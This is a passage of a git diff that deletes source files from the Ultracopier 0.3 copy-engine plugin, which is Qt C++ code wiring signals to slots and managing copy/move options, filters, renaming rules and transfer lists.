- if(!connect(listThread,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect debugInformation()");
- #endif
-
- if(!connect(listThread,SIGNAL(send_fileAlreadyExists(QFileInfo,QFileInfo,bool,TransferThread *)), this,SLOT(fileAlreadyExists(QFileInfo,QFileInfo,bool,TransferThread *)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_fileAlreadyExists()");
- if(!connect(listThread,SIGNAL(send_errorOnFile(QFileInfo,QString,TransferThread *)), this,SLOT(errorOnFile(QFileInfo,QString,TransferThread *)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_errorOnFile()");
- if(!connect(listThread,SIGNAL(send_folderAlreadyExists(QFileInfo,QFileInfo,bool,scanFileOrFolder *)), this,SLOT(folderAlreadyExists(QFileInfo,QFileInfo,bool,scanFileOrFolder *)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_folderAlreadyExists()");
- if(!connect(listThread,SIGNAL(send_errorOnFolder(QFileInfo,QString,scanFileOrFolder *)), this,SLOT(errorOnFolder(QFileInfo,QString,scanFileOrFolder *)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_errorOnFolder()");
- if(!connect(listThread,SIGNAL(updateTheDebugInfo(QStringList,QStringList,int)), this,SLOT(updateTheDebugInfo(QStringList,QStringList,int)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect updateTheDebugInfo()");
- if(!connect(listThread,SIGNAL(errorTransferList(QString)), this,SLOT(errorTransferList(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect errorTransferList()");
- if(!connect(listThread,SIGNAL(warningTransferList(QString)), this,SLOT(warningTransferList(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect warningTransferList()");
- if(!connect(listThread,SIGNAL(mkPathErrorOnFolder(QFileInfo,QString)), this,SLOT(mkPathErrorOnFolder(QFileInfo,QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect mkPathErrorOnFolder()");
- if(!connect(listThread,SIGNAL(rmPathErrorOnFolder(QFileInfo,QString)), this,SLOT(rmPathErrorOnFolder(QFileInfo,QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect rmPathErrorOnFolder()");
- if(!connect(listThread,SIGNAL(send_realBytesTransfered(quint64)), this,SLOT(get_realBytesTransfered(quint64)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_realBytesTransfered()");
-
- if(!connect(this,SIGNAL(tryCancel()), listThread,SIGNAL(tryCancel()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect tryCancel()");
- if(!connect(this,SIGNAL(signal_pause()), listThread,SLOT(pause()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_pause()");
- if(!connect(this,SIGNAL(signal_resume()), listThread,SLOT(resume()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_resume()");
- if(!connect(this,SIGNAL(signal_skip(quint64)), listThread,SLOT(skip(quint64)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_skip()");
- if(!connect(this,SIGNAL(signal_setCollisionAction(FileExistsAction)), listThread,SLOT(setAlwaysFileExistsAction(FileExistsAction)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_setCollisionAction()");
- if(!connect(this,SIGNAL(signal_setFolderColision(FolderExistsAction)), listThread,SLOT(setFolderColision(FolderExistsAction)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_setFolderColision()");
- if(!connect(this,SIGNAL(signal_removeItems(QList<int>)), listThread,SLOT(removeItems(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_removeItems()");
- if(!connect(this,SIGNAL(signal_moveItemsOnTop(QList<int>)), listThread,SLOT(moveItemsOnTop(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_moveItemsOnTop()");
- if(!connect(this,SIGNAL(signal_moveItemsUp(QList<int>)), listThread,SLOT(moveItemsUp(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_moveItemsUp()");
- if(!connect(this,SIGNAL(signal_moveItemsDown(QList<int>)), listThread,SLOT(moveItemsDown(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_moveItemsDown()");
- if(!connect(this,SIGNAL(signal_moveItemsOnBottom(QList<int>)), listThread,SLOT(moveItemsOnBottom(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_moveItemsOnBottom()");
- if(!connect(this,SIGNAL(signal_exportTransferList(QString)), listThread,SLOT(exportTransferList(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_exportTransferList()");
- if(!connect(this,SIGNAL(signal_importTransferList(QString)), listThread,SLOT(importTransferList(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_importTransferList()");
- if(!connect(this,SIGNAL(signal_forceMode(CopyMode)), listThread,SLOT(forceMode(CopyMode)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_forceMode()");
- if(!connect(this,SIGNAL(send_osBufferLimit(uint)), listThread,SLOT(set_osBufferLimit(uint)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_osBufferLimit()");
- if(!connect(this,SIGNAL(send_setFilters(QList<Filters_rules>,QList<Filters_rules>)),listThread,SLOT(set_setFilters(QList<Filters_rules>,QList<Filters_rules>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_setFilters()");
- if(!connect(this,SIGNAL(send_sendNewRenamingRules(QString,QString)),listThread,SLOT(set_sendNewRenamingRules(QString,QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_sendNewRenamingRules()");
- if(!connect(&timerActionDone,SIGNAL(timeout()), listThread,SLOT(sendActionDone())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect timerActionDone");
- if(!connect(&timerProgression,SIGNAL(timeout()), listThread,SLOT(sendProgression())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect timerProgression");
-
- if(!connect(this,SIGNAL(queryOneNewDialog()),SLOT(showOneNewDialog()),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect queryOneNewDialog()");
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-void copyEngine::updateTheDebugInfo(QStringList newList,QStringList newList2,int numberOfInodeOperation)
-{
- debugDialogWindow.setTransferThreadList(newList);
- debugDialogWindow.setTransferList(newList2);
- debugDialogWindow.setInodeUsage(numberOfInodeOperation);
-}
-#endif
-
-//to send the options panel
-bool copyEngine::getOptionsEngine(QWidget * tempWidget)
-{
- this->tempWidget=tempWidget;
- connect(tempWidget, SIGNAL(destroyed()), this, SLOT(resetTempWidget()));
- ui->setupUi(tempWidget);
- //conect the ui widget
-/* connect(ui->doRightTransfer, SIGNAL(toggled(bool)), &threadOfTheTransfer, SLOT(setRightTransfer(bool)));
- connect(ui->keepDate, SIGNAL(toggled(bool)), &threadOfTheTransfer, SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), &threadOfTheTransfer, SLOT(setBlockSize(int)));*/
- connect(ui->autoStart, SIGNAL(toggled(bool)), this, SLOT(setAutoStart(bool)));
- connect(ui->checkBoxDestinationFolderExists, SIGNAL(toggled(bool)), this, SLOT(setCheckDestinationFolderExists(bool)));
- uiIsInstalled=true;
- setRightTransfer(doRightTransfer);
- setKeepDate(keepDate);
- setSpeedLimitation(maxSpeed);
- setBlockSize(blockSize);
- setAutoStart(autoStart);
- setCheckDestinationFolderExists(checkDestinationFolderExists);
- set_doChecksum(doChecksum);
- set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
- set_checksumOnlyOnError(checksumOnlyOnError);
- set_osBuffer(osBuffer);
- set_osBufferLimited(osBufferLimited);
- set_osBufferLimit(osBufferLimit);
- return true;
-}
-
-//to have interface widget to do modal dialog
-void copyEngine::setInterfacePointer(QWidget * interface)
-{
- this->interface=interface;
- filters=new Filters(tempWidget);
- renamingRules=new RenamingRules(tempWidget);
-
- if(uiIsInstalled)
- {
- connect(ui->doRightTransfer, SIGNAL(toggled(bool)), this,SLOT(setRightTransfer(bool)));
- connect(ui->keepDate, SIGNAL(toggled(bool)), this,SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), this,SLOT(setBlockSize(int)));
- connect(ui->autoStart, SIGNAL(toggled(bool)), this,SLOT(setAutoStart(bool)));
- connect(ui->doChecksum, SIGNAL(toggled(bool)), this,SLOT(doChecksum_toggled(bool)));
- connect(ui->checksumIgnoreIfImpossible, SIGNAL(toggled(bool)), this,SLOT(checksumIgnoreIfImpossible_toggled(bool)));
- connect(ui->checksumOnlyOnError, SIGNAL(toggled(bool)), this,SLOT(checksumOnlyOnError_toggled(bool)));
- connect(ui->osBuffer, SIGNAL(toggled(bool)), this,SLOT(osBuffer_toggled(bool)));
- connect(ui->osBufferLimited, SIGNAL(toggled(bool)), this,SLOT(osBufferLimited_toggled(bool)));
- connect(ui->osBufferLimit, SIGNAL(editingFinished()), this,SLOT(osBufferLimit_editingFinished()));
-
- connect(filters,SIGNAL(sendNewFilters(QStringList,QStringList,QStringList,QStringList)),this,SLOT(sendNewFilters()));
- connect(ui->filters,SIGNAL(clicked()),this,SLOT(showFilterDialog()));
-
- if(!connect(renamingRules,SIGNAL(sendNewRenamingRules(QString,QString)),this,SLOT(sendNewRenamingRules(QString,QString))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect sendNewRenamingRules()");
- if(!connect(ui->renamingRules,SIGNAL(clicked()),this,SLOT(showRenamingRules())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect renamingRules.clicked()");
- }
-
- filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
- set_setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
-
- renamingRules->setRenamingRules(firstRenamingRule,otherRenamingRule);
- emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-bool copyEngine::haveSameSource(const QStringList &sources)
-{
- return listThread->haveSameSource(sources);
-}
-
-bool copyEngine::haveSameDestination(const QString &destination)
-{
- return listThread->haveSameDestination(destination);
-}
-
-bool copyEngine::newCopy(const QStringList &sources)
-{
- if(forcedMode && mode!=Copy)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The engine is forced to move, you can't copy with it");
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to move, you can't copy with it"));
- return false;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QString destination = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select destination directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
- if(destination.isEmpty() || destination.isNull() || destination=="")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Canceled by the user");
- return false;
- }
- return listThread->newCopy(sources,destination);
-}
-
-bool copyEngine::newCopy(const QStringList &sources,const QString &destination)
-{
- if(forcedMode && mode!=Copy)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The engine is forced to move, you can't copy with it");
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to move, you can't copy with it"));
- return false;
- }
- return listThread->newCopy(sources,destination);
-}
-
-bool copyEngine::newMove(const QStringList &sources)
-{
- if(forcedMode && mode!=Move)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The engine is forced to copy, you can't move with it");
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to copy, you can't move with it"));
- return false;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QString destination = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select destination directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
- if(destination.isEmpty() || destination.isNull() || destination=="")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Canceled by the user");
- return false;
- }
- return listThread->newMove(sources,destination);
-}
-
-bool copyEngine::newMove(const QStringList &sources,const QString &destination)
-{
- if(forcedMode && mode!=Move)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The engine is forced to copy, you can't move with it");
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to copy, you can't move with it"));
- return false;
- }
- return listThread->newMove(sources,destination);
-}
-
-void copyEngine::newTransferList(const QString &file)
-{
- emit signal_importTransferList(file);
-}
-
-//because direct access to list thread into the main thread can't be do
-quint64 copyEngine::realByteTransfered()
-{
- return size_for_speed;
-}
-
-//speed limitation
-qint64 copyEngine::getSpeedLimitation()
-{
- return listThread->getSpeedLimitation();
-}
-
-//get collision action
-QList<QPair<QString,QString> > copyEngine::getCollisionAction()
-{
- QPair<QString,QString> tempItem;
- QList<QPair<QString,QString> > list;
- tempItem.first=facilityEngine->translateText("Ask");tempItem.second="ask";list << tempItem;
- tempItem.first=facilityEngine->translateText("Skip");tempItem.second="skip";list << tempItem;
- tempItem.first=facilityEngine->translateText("Overwrite");tempItem.second="overwrite";list << tempItem;
- tempItem.first=facilityEngine->translateText("Overwrite if newer");tempItem.second="overwriteIfNewer";list << tempItem;
- tempItem.first=facilityEngine->translateText("Overwrite if the last modification dates are different");tempItem.second="overwriteIfNotSameModificationDate";list << tempItem;
- tempItem.first=facilityEngine->translateText("Rename");tempItem.second="rename";list << tempItem;
- return list;
-}
-
-QList<QPair<QString,QString> > copyEngine::getErrorAction()
-{
- QPair<QString,QString> tempItem;
- QList<QPair<QString,QString> > list;
- tempItem.first=facilityEngine->translateText("Ask");tempItem.second="ask";list << tempItem;
- tempItem.first=facilityEngine->translateText("Skip");tempItem.second="skip";list << tempItem;
- tempItem.first=facilityEngine->translateText("Put to end of the list");tempItem.second="putToEndOfTheList";list << tempItem;
- return list;
-}
-
-void copyEngine::setDrive(const QStringList &drives)
-{
- listThread->setDrive(drives);
-}
-
-/** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
-void copyEngine::syncTransferList()
-{
- listThread->syncTransferList();
-}
-
-void copyEngine::set_doChecksum(bool doChecksum)
-{
- listThread->set_doChecksum(doChecksum);
- if(uiIsInstalled)
- ui->doChecksum->setChecked(doChecksum);
- this->doChecksum=doChecksum;
-}
-
-void copyEngine::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
-{
- listThread->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
- if(uiIsInstalled)
- ui->checksumIgnoreIfImpossible->setChecked(checksumIgnoreIfImpossible);
- this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
-}
-
-void copyEngine::set_checksumOnlyOnError(bool checksumOnlyOnError)
-{
- listThread->set_checksumOnlyOnError(checksumOnlyOnError);
- if(uiIsInstalled)
- ui->checksumOnlyOnError->setChecked(checksumOnlyOnError);
- this->checksumOnlyOnError=checksumOnlyOnError;
-}
-
-void copyEngine::set_osBuffer(bool osBuffer)
-{
- listThread->set_osBuffer(osBuffer);
- if(uiIsInstalled)
- ui->osBuffer->setChecked(osBuffer);
- this->osBuffer=osBuffer;
-}
-
-void copyEngine::set_osBufferLimited(bool osBufferLimited)
-{
- listThread->set_osBufferLimited(osBufferLimited);
- if(uiIsInstalled)
- ui->osBufferLimited->setChecked(osBufferLimited);
- this->osBufferLimited=osBufferLimited;
-}
-
-void copyEngine::set_osBufferLimit(unsigned int osBufferLimit)
-{
- emit send_osBufferLimit(osBufferLimit);
- if(uiIsInstalled)
- ui->osBufferLimit->setValue(osBufferLimit);
- this->osBufferLimit=osBufferLimit;
-}
-
-void copyEngine::set_setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
-{
- if(filters!=NULL)
- {
- filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
- emit send_setFilters(filters->getInclude(),filters->getExclude());
- }
- this->includeStrings=includeStrings;
- this->includeOptions=includeOptions;
- this->excludeStrings=excludeStrings;
- this->excludeOptions=excludeOptions;
-}
-
-void copyEngine::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-bool copyEngine::userAddFolder(const CopyMode &mode)
-{
- QString source = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select source directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
- if(source.isEmpty() || source.isNull() || source=="")
- return false;
- if(mode==Copy)
- return newCopy(QStringList() << source);
- else
- return newMove(QStringList() << source);
-}
-
-bool copyEngine::userAddFile(const CopyMode &mode)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QStringList sources = QFileDialog::getOpenFileNames(
- interface,
- facilityEngine->translateText("Select one or more files to open"),
- "",
- facilityEngine->translateText("All files")+" (*)");
- if(sources.isEmpty())
- return false;
- if(mode==Copy)
- return newCopy(sources);
- else
- return newMove(sources);
-}
-
-void copyEngine::pause()
-{
- emit signal_pause();
-}
-
-void copyEngine::resume()
-{
- emit signal_resume();
-}
-
-void copyEngine::skip(const quint64 &id)
-{
- emit signal_skip(id);
-}
-
-void copyEngine::cancel()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- stopIt=true;
- timerProgression.stop();
- timerActionDone.stop();
- emit tryCancel();
-}
-
-void copyEngine::removeItems(const QList<int> &ids)
-{
- emit signal_removeItems(ids);
-}
-
-void copyEngine::moveItemsOnTop(const QList<int> &ids)
-{
- emit signal_moveItemsOnTop(ids);
-}
-
-void copyEngine::moveItemsUp(const QList<int> &ids)
-{
- emit signal_moveItemsUp(ids);
-}
-
-void copyEngine::moveItemsDown(const QList<int> &ids)
-{
- emit signal_moveItemsDown(ids);
-}
-
-void copyEngine::moveItemsOnBottom(const QList<int> &ids)
-{
- emit signal_moveItemsOnBottom(ids);
-}
-
-/** \brief give the forced mode, to export/import transfer list */
-void copyEngine::forceMode(const CopyMode &mode)
-{
- if(forcedMode)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Mode forced previously"));
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The mode have been forced previously, it's internal error, please report it"));
- return;
- }
- if(mode==Copy)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Force mode to copy"));
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Force mode to move"));
- this->mode=mode;
- forcedMode=true;
- emit signal_forceMode(mode);
-}
-
-void copyEngine::exportTransferList()
-{
- QString fileName = QFileDialog::getSaveFileName(NULL,facilityEngine->translateText("Save transfer list"),"transfer-list.lst",facilityEngine->translateText("Transfer list")+" (*.lst)");
- if(fileName.isEmpty())
- return;
- emit signal_exportTransferList(fileName);
-}
-
-void copyEngine::importTransferList()
-{
- QString fileName = QFileDialog::getOpenFileName(NULL,facilityEngine->translateText("Open transfer list"),"transfer-list.lst",facilityEngine->translateText("Transfer list")+" (*.lst)");
- if(fileName.isEmpty())
- return;
- emit signal_importTransferList(fileName);
-}
-
-void copyEngine::warningTransferList(const QString &warning)
-{
- QMessageBox::warning(interface,facilityEngine->translateText("Error"),warning);
-}
-
-void copyEngine::errorTransferList(const QString &error)
-{
- QMessageBox::critical(interface,facilityEngine->translateText("Error"),error);
-}
-
-bool copyEngine::setSpeedLimitation(const qint64 &speedLimitation)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"maxSpeed: "+QString::number(speedLimitation));
- maxSpeed=speedLimitation;
- return listThread->setSpeedLimitation(speedLimitation);
-}
-
-void copyEngine::setCollisionAction(const QString &action)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"action: "+action);
- if(action=="skip")
- alwaysDoThisActionForFileExists=FileExists_Skip;
- else if(action=="overwrite")
- alwaysDoThisActionForFileExists=FileExists_Overwrite;
- else if(action=="overwriteIfNewer")
- alwaysDoThisActionForFileExists=FileExists_OverwriteIfNewer;
- else if(action=="overwriteIfNotSameModificationDate")
- alwaysDoThisActionForFileExists=FileExists_OverwriteIfNotSameModificationDate;
- else if(action=="rename")
- alwaysDoThisActionForFileExists=FileExists_Rename;
- else
- alwaysDoThisActionForFileExists=FileExists_NotSet;
- emit signal_setCollisionAction(alwaysDoThisActionForFileExists);
-}
-
-void copyEngine::setErrorAction(const QString &action)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"action: "+action);
- if(action=="skip")
- alwaysDoThisActionForFileError=FileError_Skip;
- else if(action=="putToEndOfTheList")
- alwaysDoThisActionForFileError=FileError_PutToEndOfTheList;
- else
- alwaysDoThisActionForFileError=FileError_NotSet;
-}
-
-void copyEngine::setRightTransfer(const bool doRightTransfer)
-{
- this->doRightTransfer=doRightTransfer;
- if(uiIsInstalled)
- ui->doRightTransfer->setChecked(doRightTransfer);
- listThread->setRightTransfer(doRightTransfer);
-}
-
-//set keep date
-void copyEngine::setKeepDate(const bool keepDate)
-{
- this->keepDate=keepDate;
- if(uiIsInstalled)
- ui->keepDate->setChecked(keepDate);
- listThread->setKeepDate(keepDate);
-}
-
-//set block size in KB
-void copyEngine::setBlockSize(const int blockSize)
-{
- this->blockSize=blockSize;
- if(uiIsInstalled)
- ui->blockSize->setValue(blockSize);
- listThread->setBlockSize(blockSize);
-}
-
-//set auto start
-void copyEngine::setAutoStart(const bool autoStart)
-{
- this->autoStart=autoStart;
- if(uiIsInstalled)
- ui->autoStart->setChecked(autoStart);
- listThread->setAutoStart(autoStart);
-}
-
-//set check destination folder
-void copyEngine::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
-{
- this->checkDestinationFolderExists=checkDestinationFolderExists;
- if(uiIsInstalled)
- ui->checkBoxDestinationFolderExists->setChecked(checkDestinationFolderExists);
- listThread->setCheckDestinationFolderExists(checkDestinationFolderExists);
-}
-
-//reset widget
-void copyEngine::resetTempWidget()
-{
- tempWidget=NULL;
-}
-
-void copyEngine::on_comboBoxFolderColision_currentIndexChanged(int index)
-{
- switch(index)
- {
- case 0:
- setComboBoxFolderColision(FolderExists_NotSet,false);
- break;
- case 1:
- setComboBoxFolderColision(FolderExists_Merge,false);
- break;
- case 2:
- setComboBoxFolderColision(FolderExists_Skip,false);
- break;
- case 3:
- setComboBoxFolderColision(FolderExists_Rename,false);
- break;
- }
-}
-
-void copyEngine::on_comboBoxFolderError_currentIndexChanged(int index)
-{
- switch(index)
- {
- case 0:
- setComboBoxFolderError(FileError_NotSet,false);
- break;
- case 1:
- setComboBoxFolderError(FileError_Skip,false);
- break;
- }
-}
-
-//set the translate
-void copyEngine::newLanguageLoaded()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, retranslate the widget options");
- if(tempWidget!=NULL)
- ui->retranslateUi(tempWidget);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"ui not loaded!");
-}
-
-void copyEngine::setComboBoxFolderColision(FolderExistsAction action,bool changeComboBox)
-{
- alwaysDoThisActionForFolderExists=action;
- emit signal_setFolderColision(alwaysDoThisActionForFolderExists);
- if(!changeComboBox || !uiIsInstalled)
- return;
- switch(action)
- {
- case FolderExists_Merge:
- ui->comboBoxFolderColision->setCurrentIndex(1);
- break;
- case FolderExists_Skip:
- ui->comboBoxFolderColision->setCurrentIndex(2);
- break;
- case FolderExists_Rename:
- ui->comboBoxFolderColision->setCurrentIndex(3);
- break;
- default:
- ui->comboBoxFolderColision->setCurrentIndex(0);
- break;
- }
-}
-
-void copyEngine::setComboBoxFolderError(FileErrorAction action,bool changeComboBox)
-{
- alwaysDoThisActionForFileError=action;
- if(!changeComboBox || !uiIsInstalled)
- return;
- switch(action)
- {
- case FileError_Skip:
- ui->comboBoxFolderError->setCurrentIndex(1);
- break;
- default:
- ui->comboBoxFolderError->setCurrentIndex(0);
- break;
- }
-}
-
-void copyEngine::doChecksum_toggled(bool doChecksum)
-{
- listThread->set_doChecksum(doChecksum);
-}
-
-void copyEngine::checksumOnlyOnError_toggled(bool checksumOnlyOnError)
-{
- listThread->set_checksumOnlyOnError(checksumOnlyOnError);
-}
-
-void copyEngine::checksumIgnoreIfImpossible_toggled(bool checksumIgnoreIfImpossible)
-{
- listThread->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
-}
-
-void copyEngine::osBuffer_toggled(bool osBuffer)
-{
- listThread->set_osBuffer(osBuffer);
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-void copyEngine::osBufferLimited_toggled(bool osBufferLimited)
-{
- listThread->set_osBufferLimited(osBufferLimited);
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-void copyEngine::osBufferLimit_editingFinished()
-{
- emit send_osBufferLimit(ui->osBufferLimit->value());
-}
-
-void copyEngine::showFilterDialog()
-{
- if(filters!=NULL)
- filters->exec();
-}
-
-void copyEngine::sendNewFilters()
-{
- if(filters!=NULL)
- emit send_setFilters(filters->getInclude(),filters->getExclude());
-}
-
-void copyEngine::sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"new filter");
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
- emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-void copyEngine::showRenamingRules()
-{
- if(renamingRules==NULL)
- {
- QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded, can't access to the filters"));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"options not loaded");
- return;
- }
- renamingRules->exec();
-}
-
-void copyEngine::get_realBytesTransfered(quint64 realBytesTransfered)
-{
- size_for_speed=realBytesTransfered;
-}
-
-void copyEngine::newActionInProgess(EngineActionInProgress action)
-{
- if(action==Idle)
- {
- timerProgression.stop();
- timerActionDone.stop();
- }
- else
- {
- timerProgression.start();
- timerActionDone.start();
- }
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/copyEngine.h b/plugins/CopyEngine/Ultracopier-0.3/copyEngine.h
deleted file mode 100755
index 66b3a4f..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/copyEngine.h
+++ /dev/null
@@ -1,359 +0,0 @@
-/** \file copyEngine.h
-\brief Define the copy engine
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QObject>
-#include <QList>
-#include <QStringList>
-#include <QFileInfo>
-#include <QFile>
-#include <QFileDialog>
-#include <QMessageBox>
-
-#include "../../../interface/PluginInterface_CopyEngine.h"
-#include "fileErrorDialog.h"
-#include "fileExistsDialog.h"
-#include "folderExistsDialog.h"
-#include "fileIsSameDialog.h"
-#include "ui_options.h"
-#include "Environment.h"
-#include "ListThread.h"
-#include "Filters.h"
-#include "RenamingRules.h"
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-#include "debugDialog.h"
-#include <QTimer>
-#endif
-
-#ifndef COPY_ENGINE_H
-#define COPY_ENGINE_H
-
-namespace Ui {
- class options;
-}
-
-/// \brief the implementation of copy engine plugin, manage directly few stuff, else pass to ListThread class.
-class copyEngine : public PluginInterface_CopyEngine
-{
- Q_OBJECT
-public:
- copyEngine(FacilityInterface * facilityEngine);
- ~copyEngine();
- void connectTheSignalsSlots();
-private:
- ListThread *listThread;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- debugDialog debugDialogWindow;
- #endif
- QWidget * tempWidget;
- Ui::options * ui;
- bool uiIsInstalled;
- QWidget * interface;
- Filters * filters;
- RenamingRules * renamingRules;
- FacilityInterface * facilityEngine;
- int maxSpeed;
- bool doRightTransfer;
- bool keepDate;
- int blockSize;
- bool autoStart;
- bool checkDestinationFolderExists;
- FileExistsAction alwaysDoThisActionForFileExists;
- FileErrorAction alwaysDoThisActionForFileError;
- FileErrorAction alwaysDoThisActionForFolderError;
- FolderExistsAction alwaysDoThisActionForFolderExists;
- bool dialogIsOpen;
- volatile bool stopIt;
- /// \brief error queue
